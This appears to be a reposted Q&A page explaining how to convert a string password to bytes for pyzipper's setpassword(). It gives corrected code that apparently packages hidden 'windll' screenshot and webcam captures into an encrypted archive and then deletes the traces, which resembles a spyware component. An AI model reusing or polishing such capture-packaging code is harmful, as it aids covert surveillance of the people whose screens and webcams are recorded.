You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Python中使用pyzipper的setpassword()时如何将字符串转二进制?

问题解决:pyzipper setpassword 二进制类型要求报错

你的代码生成随机字符串密码后创建加密ZIP文件,但setpassword()需要传入二进制类型而非字符串,导致报错。以下是修复方案:

核心问题解决

pyzipper的setpassword()方法要求参数为bytes类型,你只需要将字符串密码通过encode('utf-8')转换为二进制即可。

代码修复细节

除了密码转码,你的代码还有两处潜在问题需要修正:

  • os.environ['USERPROFILE'].replace("C\\Users\\")缺少替换目标值,会触发方法调用错误;
  • path变量定义在except块内,后续shutil.rmtree会触发NameError。

修复后的完整代码

import shutil
import os
import random
import pyzipper

def makemeZip(password):
    path = os.environ['USERPROFILE'] + os.sep + r'AppData\Local'
    try:
        # 修复replace方法参数,移除C:\Users\前缀
        user = os.environ['USERPROFILE'].replace("C:\\Users\\", "")
    except:
        dox = "qwertyuiopasdfghjklzxcvbnm1234567890"
        for i in range(30):
            password += dox[random.randint(0, len(dox)-1)]
        shutil.make_archive(fr'{path}\\cashe', 'zip', fr'{path}\\windll')
        shutil.move(fr'{path}\\cashe.zip', "cashe.zip")
        with pyzipper.AESZipFile('The murk results.zip','w', compression=pyzipper.ZIP_STORED, encryption=pyzipper.WZ_AES) as logs:
            print(password)
            # 将字符串密码转为二进制类型
            logs.setpassword(password.encode('utf-8'))
            logs.write("cashe.zip")
        os.remove("cashe.zip")
    shutil.rmtree(rf'{path}\\windll', ignore_errors=True)
    try:
        os.remove(rf'{path}\\windll\\sreenshot.jpg')
        os.remove(rf'{path}\\windll\\webcam.png')
    except:
        pass
    return password

关键修改点说明

  • logs.setpassword(password.encode('utf-8')):把字符串密码编码为UTF-8二进制,满足pyzipper的参数要求;
  • 将path变量移到try-except外部,确保后续代码能正常访问;
  • 修正replace("C\\Users\\")为replace("C:\\Users\\", ""),避免字符串方法调用错误。

内容的提问来源于stack exchange,提问作者Nick Vinesmoke

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.25 10:55:05